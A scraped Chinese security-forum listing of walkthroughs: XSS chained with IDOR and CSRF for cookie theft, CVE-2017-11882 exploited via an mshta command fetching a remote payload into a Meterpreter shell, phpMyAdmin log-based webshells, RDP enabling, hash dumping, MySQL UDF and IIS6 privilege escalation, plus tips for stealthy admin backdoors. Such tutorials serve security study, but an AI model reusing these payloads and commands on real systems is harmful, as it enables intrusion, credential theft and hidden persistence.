漏洞挖掘中的脑洞大开---使用漏洞组合拳扩大漏洞危害

lawliet 发表了文章 • 5 个评论 • 278 次浏览 • 2018-07-28 22:51 • 来自相关话题

这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf
、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变成高危
组合拳一式:selfxss+水平越权漏洞
虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行
举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞
尝试新增常用联系人,在详细地址的位置插入xss的payload




<script>alert(document.cookie)</script>





但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie
还是之前测试越权的两个账号
用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069
首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息
 
xsspayload:<script src=xss平台上的远程脚本></script>
之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权






修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)






可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息






然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie






接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞
组合拳二式:selfxss+csrf
selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果
举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:" onmouseover="alalertert(1)









提交完签名后刷新页面后发现可以弹框






但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大
别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制
于是想到了一个思路,那就是在自己服务器上创建一个名为"该网站域名.html"的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来






之后模拟受害者使用同一浏览器去访问我服务器的页面






可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名






可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的
总结:
这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~
 
 
  查看全部
这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf
、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变成高危
组合拳一式:selfxss+水平越权漏洞
虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行
举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞
尝试新增常用联系人,在详细地址的位置插入xss的payload

1.png
<script>alert(document.cookie)</script>

1.png


但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie
还是之前测试越权的两个账号
用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069
首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息
 
xsspayload:
<script src=xss平台上的远程脚本></script>

之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权

1.png


修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)

0.png


可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息

2.png


然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie

7.png


接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞
组合拳二式:selfxss+csrf
selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果
举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:
" onmouseover="alalertert(1)




4.png


提交完签名后刷新页面后发现可以弹框

18.png


但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大
别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制
于是想到了一个思路,那就是在自己服务器上创建一个名为"该网站域名.html"的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来

03.png


之后模拟受害者使用同一浏览器去访问我服务器的页面

49.png


可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名

26.png


可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的
总结:
这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~
 
 
 

CVE-2017-11882 漏洞复现

zksmile 发表了文章 • 1 个评论 • 735 次浏览 • 2017-11-27 12:26 • 来自相关话题

网上很多关于该漏洞的分析和利用,二进制的本菜鸡也看不懂,于是就照着利用自己动手实验了一遍,看别人跟亲自动手做还是有一定的距离啊。。。

漏洞影响版本:Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
实验环境: 攻击靶机:kali 2.0 IP:10.211.55.22 metasploit
目标靶机:Windows7 IP: 10.211.55.6 Microsoft Office 2013
需要准备的文件:

     CVE-2017-11882的POC:https://github.com/Ridter/CVE-2017-11882/
     PS_shell.rb : 链接: https://pan.baidu.com/s/1jHWecV8 密码: rtnp
     Office 2013:链接: https://pan.baidu.com/s/1dE5jT53 密码: qb6g

漏洞验证:

使用POC文件执行以下命令生成测试doc文件:python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 将生成的doc文件发送至目标主机直接打开,弹出计算器即漏洞验证成功,可进一步利用:







漏洞利用:

配合kali2.0 meterpreter 接收目标靶机反弹的shell
1、下载PS_shell.rb,将该文件放在kali 的/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下,输入msfconsole启动metasploit,然后执行reload_all重新加载一下所有模块。






2、使用我们刚刚上传的PS_shell.rb。






3、设置好相关参数之后,exploit。






4、接下来使用POC生成新的测试doc文件,在Windows 7中打开生成的doc文件。


python Command_CVE-2017-11882.py -c "mshta http://10.211.55.22:8080/aaa" -o test.doc







5、输入sessions可以查看到接收到的shell.











漏洞修复:

1、微软已经对此漏洞做出了修复。
(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

2、在注册表中禁用该漏洞模块:
按下Win+R组合键,打开cmd.exe
 输入以下两条命令:reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400
参考链接:
https://www.cnblogs.com/Oran9e/p/7880832.html
  查看全部
网上很多关于该漏洞的分析和利用,二进制的本菜鸡也看不懂,于是就照着利用自己动手实验了一遍,看别人跟亲自动手做还是有一定的距离啊。。。

漏洞影响版本:
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016

实验环境:
    攻击靶机:kali 2.0   IP:10.211.55.22     metasploit 
目标靶机:Windows7 IP: 10.211.55.6 Microsoft Office 2013

需要准备的文件:

     CVE-2017-11882的POC:https://github.com/Ridter/CVE-2017-11882/
     PS_shell.rb : 链接: https://pan.baidu.com/s/1jHWecV8 密码: rtnp
     Office 2013:链接: https://pan.baidu.com/s/1dE5jT53 密码: qb6g

漏洞验证:

使用POC文件执行以下命令生成测试doc文件:
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 
将生成的doc文件发送至目标主机直接打开,弹出计算器即漏洞验证成功,可进一步利用:

1.png



漏洞利用:

配合kali2.0 meterpreter 接收目标靶机反弹的shell
1、下载PS_shell.rb,将该文件放在kali 的/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下,输入msfconsole启动metasploit,然后执行reload_all重新加载一下所有模块。

2.png


2、使用我们刚刚上传的PS_shell.rb。

3.png


3、设置好相关参数之后,exploit

4.png


4、接下来使用POC生成新的测试doc文件,在Windows 7中打开生成的doc文件。


python Command_CVE-2017-11882.py -c "mshta http://10.211.55.22:8080/aaa" -o test.doc


5.png


5、输入sessions可以查看到接收到的shell.

6.png


7.png


漏洞修复:

1、微软已经对此漏洞做出了修复。
(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

2、在注册表中禁用该漏洞模块:
按下Win+R组合键,打开cmd.exe
 输入以下两条命令:
reg add  “HKLM\SOFTWARE\Microsoft\Office\Common\COM     Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v         “Compatibility  Flags”             /t  REG_DWORD /d                 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400

参考链接:
https://www.cnblogs.com/Oran9e/p/7880832.html
 

一次失败的渗透------又学习一个phpMyadmin新姿势Getshell

zksmile 发表了文章 • 1 个评论 • 1709 次浏览 • 2017-04-14 16:52 • 来自相关话题

最近不是在盒子挖洞么。。然后爆破了盒子所有厂商的二级域名,爆破出来几万个域名吧(爆破二级域名的时候封了两台腾讯云。。有人用腾讯云的还是省省吧)·····然后就扔在VPS上批量扫描了敏感文件。

扫到有一个站的PHPstudy探针文件,直觉告诉它有phpmyadmin 嘿嘿嘿~~~





直觉又告诉我,phpmyadmin的默认安装密码是  root  root 。嘿嘿嘿~~~






现在 web绝对路径 有了,数据库权限也有了,就在我觉得可以手起刀落拿下webshell的时候,无论我执行任何sql语句都是界面卡死。。。。尝试了很多种方法都不行。。百度了一下说可能是waf的原因(其实就是自己太菜了)。
最后的结果就是:







直到昨天又看到一篇文章觉得很不错大家可以学习学习。就自己本机环境又测试了一遍。
原文地址:http://blog.cora-lab.org/287.html


环境:
Apache/2.4.10 (Win32)  
PHP/5.3.29
MySQL 5.5.40

一、登录phpMyadmin 查看全局变量。查看general log file




二、
general log file里边存放的是每一条SQL语句执行的记录。
当general log 状态为On时代表启用。我们开启general为 On






三、之后更改gereral log file 的绝对路径为我们可以访问webshell的绝对路径。每一次更改gereral log file 时 mysql会判断日志文件是否存在,如果不存在就会自动创建。








四、接下来每执行一条sql语句都会记录在shell.php中


















  查看全部
最近不是在盒子挖洞么。。然后爆破了盒子所有厂商的二级域名,爆破出来几万个域名吧(爆破二级域名的时候封了两台腾讯云。。有人用腾讯云的还是省省吧)·····然后就扔在VPS上批量扫描了敏感文件。

扫到有一个站的PHPstudy探针文件,直觉告诉它有phpmyadmin 嘿嘿嘿~~~
1.png


直觉又告诉我,phpmyadmin的默认安装密码是  root  root 。嘿嘿嘿~~~

2.png


现在 web绝对路径 有了,数据库权限也有了,就在我觉得可以手起刀落拿下webshell的时候,无论我执行任何sql语句都是界面卡死。。。。尝试了很多种方法都不行。。百度了一下说可能是waf的原因(其实就是自己太菜了)。
最后的结果就是:


3.png


直到昨天又看到一篇文章觉得很不错大家可以学习学习。就自己本机环境又测试了一遍。
原文地址:http://blog.cora-lab.org/287.html


环境:
Apache/2.4.10 (Win32)  
PHP/5.3.29
MySQL 5.5.40

一、登录phpMyadmin 查看全局变量。查看general log file
4.png

二、
general log file里边存放的是每一条SQL语句执行的记录。
当general log 状态为On时代表启用。我们开启general为 On

5.png


三、之后更改gereral log file 的绝对路径为我们可以访问webshell的绝对路径。每一次更改gereral log file 时 mysql会判断日志文件是否存在,如果不存在就会自动创建。
6.png

7.png

四、接下来每执行一条sql语句都会记录在shell.php中

8.png


9.png


10.png




 

文件上传漏洞导致服务器沦陷的过程

乌云很白 发表了文章 • 3 个评论 • 1003 次浏览 • 2017-04-01 11:07 • 来自相关话题

文件上传漏洞导致服务器沦陷的过程

今天参加公司的渗透测试,发现有一个文件上传漏洞,然后开始就这个漏洞展开利用。




经过观察发现,文件上传处采用的是前端白名单验证。

为了便于上传,我把test.jsp重命名为test.doc



开始上传操作



使用burp suit抓包改包,绕过前端验证







一切准备就绪,开始上传了





连接大马,看看里面的功能块



命令执行







连接3389进行远程连接



----------

这里写的很轻松,其实中间过程并非如此,一开始发现目标服务器的3389并没有开放

参考塞克社区郑凯_Smile大神的教程进行3389端口的开启

http://zone.secevery.com/?/article/430
----------

上面看着挺顺利的啊,但是有时候困难还是紧密相随,我在内网还算顺利,要是我在外网呢?这就需要我们来进行内网端口转发

参考塞克社区郑凯_Smile大神的教程进行内网端口转发

http://zone.secevery.com/?/article/423 查看全部
文件上传漏洞导致服务器沦陷的过程

今天参加公司的渗透测试,发现有一个文件上传漏洞,然后开始就这个漏洞展开利用。




经过观察发现,文件上传处采用的是前端白名单验证。

为了便于上传,我把test.jsp重命名为test.doc



开始上传操作



使用burp suit抓包改包,绕过前端验证







一切准备就绪,开始上传了





连接大马,看看里面的功能块



命令执行







连接3389进行远程连接



----------

这里写的很轻松,其实中间过程并非如此,一开始发现目标服务器的3389并没有开放

参考塞克社区郑凯_Smile大神的教程进行3389端口的开启

http://zone.secevery.com/?/article/430
----------

上面看着挺顺利的啊,但是有时候困难还是紧密相随,我在内网还算顺利,要是我在外网呢?这就需要我们来进行内网端口转发

参考塞克社区郑凯_Smile大神的教程进行内网端口转发

http://zone.secevery.com/?/article/423

某网主站搜索框处的宽字节XSS

朽木 发表了文章 • 64 个评论 • 928 次浏览 • 2017-03-19 17:22 • 来自相关话题

当当网主站的搜索框处。输入123<>"'abc,观察其输出点。










前几个输出点
发现做了实体编码处理,可能是htmlspecialchars。
观察其页面编码,是GB2312,为后文做铺垫。





重点在这,发现其对<>"'都做了转义处理,应该用的是正则。addslashes不会转义<>
由于网页编码是GB系列,结合宽字节,进行绕过~









盒子给了11积分。。
  查看全部
当当网主站的搜索框处。输入123<>"'abc,观察其输出点。

1.png

2.png


前几个输出点
发现做了实体编码处理,可能是htmlspecialchars。
观察其页面编码,是GB2312,为后文做铺垫。
3.png


重点在这,发现其对<>"'都做了转义处理,应该用的是正则。addslashes不会转义<>
由于网页编码是GB系列,结合宽字节,进行绕过~
4.png


5.png

盒子给了11积分。。
 

导出主机密码hash

zksmile 发表了文章 • 0 个评论 • 491 次浏览 • 2017-02-22 13:14 • 来自相关话题

条件:
     administrator以上权限
工具:
     wce
     gethash
     hashdump
hash解密网站
     http://www.objectif-securite.ch/ophcrack.php

上传wce_32.exe
















  查看全部


条件:
     administrator以上权限
工具:
     wce
     gethash
     hashdump
hash解密网站
     http://www.objectif-securite.ch/ophcrack.php


上传wce_32.exe


1.png


2.png


3.png

 

导出主机密码

zksmile 发表了文章 • 2 个评论 • 431 次浏览 • 2017-02-22 13:06 • 来自相关话题

条件:
     administrator以上权限
     当前管理员没有注销登录(query user 命令查看)
工具: mimkatz 
           getpass


















  查看全部



条件:
     administrator以上权限
     当前管理员没有注销登录(query user 命令查看)
工具: mimkatz 
           getpass



1.png



2.png



3.png

 

远程开启 3389端口

zksmile 发表了文章 • 3 个评论 • 701 次浏览 • 2017-02-22 12:53 • 来自相关话题

当我们拿到管理员账号密码的时候,我们需要利用3389端口远程桌面连接到对方服务器,发现3389端口没有开放,此时需要我们远程开启目标服务器3389端口。

新建文件  3389.reg 内容如下:


Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D

此时目标服务器 3389端口关闭:















上传3389.reg文件到目标服务器




提权之后运行一下 3389.reg 。 regedit /s C:/www/3389.reg




成功开启 3389端口。




  查看全部
当我们拿到管理员账号密码的时候,我们需要利用3389端口远程桌面连接到对方服务器,发现3389端口没有开放,此时需要我们远程开启目标服务器3389端口。

新建文件  3389.reg 内容如下:


Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D

此时目标服务器 3389端口关闭:

1.png


2.png


3.png

上传3389.reg文件到目标服务器
4.png

提权之后运行一下 3389.reg 。 regedit /s C:/www/3389.reg
5.png

成功开启 3389端口。
6.png

 

MySQL UDF 提权

zksmile 发表了文章 • 3 个评论 • 971 次浏览 • 2017-02-22 10:03 • 来自相关话题

拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。

环境:
[]           web应用服务器权限较低[/][]           MySQL system权限[/] 什么是UDF?          UDF -----User defined Function  用户定义函数。   MySQL 本身支持很多内建函数,此外我们还可以通过创建存储方法来定义函数。UDF 为用户提供了一种更高效的方式来创建函数。UDF提权利用过程导入udf.dll 到服务器指定目录[list=1][]     mysql版本大于等于5.1  udf.dll 需要导入到 plugin_dir 目录的,plugin_dir在mysql安装目录下的 lib/plugin目录下,默认目录不存在,创建目录。 mysql安装目录select @@basedir。[/][]    mysql版本小于5.1 udf.dll 需要导入到 c:\windows\ 目录[/]         使用SQL语句创建功能函数 CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll' 执行mysql语句调用新创建的函数 select shell('cmd', 'whoami') 删除创建的函数 drop function shell;实例演示:





apache权限较低   mysql 权限可能是system的权限   尝试上传udf.php进行提权














使用 udf.dll 创建 函数


使用新建的shell函数执行命令


接下来 可以[]                修改管理员密码[/][]                创建一个新用户 添加到管理员组[/][]                提取当前登录用户密码  (Getpass.exe)[/][]                修改帮助账号(SUPPOTR_338945a0)的密码,并添加管理员组 (比较不容易被发现,推荐使用)[/][]                提取用户密码哈希值(wce.exe)[/]

  查看全部
拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。

环境:
    []           web应用服务器权限较低[/][]           MySQL system权限[/]
 

什么是UDF?          UDF -----User defined Function  用户定义函数。   MySQL 本身支持很多内建函数,此外我们还可以通过创建存储方法来定义函数。UDF 为用户提供了一种更高效的方式来创建函数。

UDF提权利用过程

导入udf.dll 到服务器指定目录[list=1][]     mysql版本大于等于5.1  udf.dll 需要导入到 plugin_dir 目录的,plugin_dir在mysql安装目录下的 lib/plugin目录下,默认目录不存在,创建目录。 mysql安装目录select @@basedir。[/][]    mysql版本小于5.1 udf.dll 需要导入到 c:\windows\ 目录[/]

        
          使用SQL语句创建功能函数               CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'          执行mysql语句调用新创建的函数               select shell('cmd', 'whoami')          删除创建的函数               drop function shell;
实例演示:
1.png
2.png
apache权限较低   mysql 权限可能是system的权限   尝试上传udf.php进行提权
3.png
4.png
5.png
6.png
7.png
使用 udf.dll 创建 函数
8.png
使用新建的shell函数执行命令
9.png
接下来 可以
    []                修改管理员密码[/][]                创建一个新用户 添加到管理员组[/][]                提取当前登录用户密码  (Getpass.exe)[/][]                修改帮助账号(SUPPOTR_338945a0)的密码,并添加管理员组 (比较不容易被发现,推荐使用)[/]
    []                提取用户密码哈希值(wce.exe)[/]


 

Windows 提权------IIS6.exe溢出提权

zksmile 发表了文章 • 5 个评论 • 1185 次浏览 • 2017-02-21 21:43 • 来自相关话题

提权方式:
          操作系统漏洞提权:
               systeminfo
               查看未修补的补丁编号
               KB952004 MS09-012        PR    -pr.exe
               KB956572 MS09-012        巴西烤肉
               KB970483 MS09-020        IIS6溢出     -iis6.exe
               LPK劫持     -lpk.dll


windows 2003>>
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191
KB2840221 KB3000061 KB2850851 KB2711167 KB2360937
KB2478960 KB2507938 KB2566454 KB2646524 KB2645640
KB2641653 KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799 KB956572
KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt|
@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows
\Temp\temp.txt

通用型>>
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3124280
KB3143141 KB3134228 KB3079904 KB3077657 KB3124280
KB3045171 KB2829361 KB3000061 KB2850851 KB2707511
KB970483 KB2124261 KB2271195) do @type C:\Windows
\Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /
q /a C:\Windows\Temp\temp.txt

查看未补漏洞   根据没有修补的补丁号码,到网上找利用程序 进行利用

提权的思路
[]查找可读可写目录。[/][]上传cmd.exe[/][]查看未修补补丁的漏洞编号,根据没有修补的补丁号码,到网上寻找利用程序,进行利用。[/][]上传exp进行利用。[/]

拿到一个WebShell 之后查看对方服务器信息

查看组件支持是否支持wscript.shell命令执行组件。





执行Webshell 自带的cmd.exe 发现不可用











提示拒绝访问 说明权限不允许,我们自己上传一个cmd.exe。上传目录要求是:可读,可写,可执行







直接用webshell在网站根目录下写一个一句话使用菜刀链接。













菜刀链接






在webshell中执行命令





Network Service是Windows 2003中新内置的一个被严格限制的账号。该用户可以执行一些简单的命令. 但不能直接net user 添加用户。






接下来我们执行检测   补丁号的脚本  
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3124280  KB3143141 KB3134228 KB3079904 KB3077657 KB3124280  KB3045171 KB2829361 KB3000061 KB2850851 KB2707511  KB970483 KB2124261 KB2271195) do @type C:\Windows \Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f / q /a C:\Windows\Temp\temp.txt





使用菜刀上传 iis6.exe 







未完待续·····接下来步骤我会依次贴图出来

接下来 可以
                修改管理员密码
                创建一个新用户 添加到管理员组
                提取当前登录用户密码  (Getpass.exe)
                修改帮助账号(SUPPOTR_388945a0)的密码,并添加管理员组 (比较不容易被发现,推荐使用)
                提取用户密码哈希值(wce.exe)


  查看全部
提权方式:
          操作系统漏洞提权:
               systeminfo
               查看未修补的补丁编号
               KB952004 MS09-012        PR    -pr.exe
               KB956572 MS09-012        巴西烤肉
               KB970483 MS09-020        IIS6溢出     -iis6.exe
               LPK劫持     -lpk.dll



windows 2003>>
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191
KB2840221 KB3000061 KB2850851 KB2711167 KB2360937
KB2478960 KB2507938 KB2566454 KB2646524 KB2645640
KB2641653 KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799 KB956572
KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt|
@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows
\Temp\temp.txt

通用型>>
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3124280
KB3143141 KB3134228 KB3079904 KB3077657 KB3124280
KB3045171 KB2829361 KB3000061 KB2850851 KB2707511
KB970483 KB2124261 KB2271195) do @type C:\Windows
\Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /
q /a C:\Windows\Temp\temp.txt


查看未补漏洞   根据没有修补的补丁号码,到网上找利用程序 进行利用


提权的思路

    []查找可读可写目录。[/][]上传cmd.exe[/][]查看未修补补丁的漏洞编号,根据没有修补的补丁号码,到网上寻找利用程序,进行利用。[/][]上传exp进行利用。[/]


拿到一个WebShell 之后查看对方服务器信息

查看组件支持是否支持wscript.shell命令执行组件。

1.png

执行Webshell 自带的cmd.exe 发现不可用

2.png


3.png


提示拒绝访问 说明权限不允许,我们自己上传一个cmd.exe。上传目录要求是:可读,可写,可执行


4.png


直接用webshell在网站根目录下写一个一句话使用菜刀链接。


5.png



6.png


菜刀链接


7.png

在webshell中执行命令

8.png

Network Service是Windows 2003中新内置的一个被严格限制的账号。该用户可以执行一些简单的命令. 但不能直接net user 添加用户。

9.png


接下来我们执行检测   补丁号的脚本  
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3124280  KB3143141 KB3134228 KB3079904 KB3077657 KB3124280  KB3045171 KB2829361 KB3000061 KB2850851 KB2707511  KB970483 KB2124261 KB2271195) do @type C:\Windows \Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f / q /a C:\Windows\Temp\temp.txt


10.png

使用菜刀上传 iis6.exe 


11.png


未完待续·····接下来步骤我会依次贴图出来

接下来 可以
                修改管理员密码
                创建一个新用户 添加到管理员组
                提取当前登录用户密码  (Getpass.exe)
                修改帮助账号(SUPPOTR_388945a0)的密码,并添加管理员组 (比较不容易被发现,推荐使用)
                提取用户密码哈希值(wce.exe)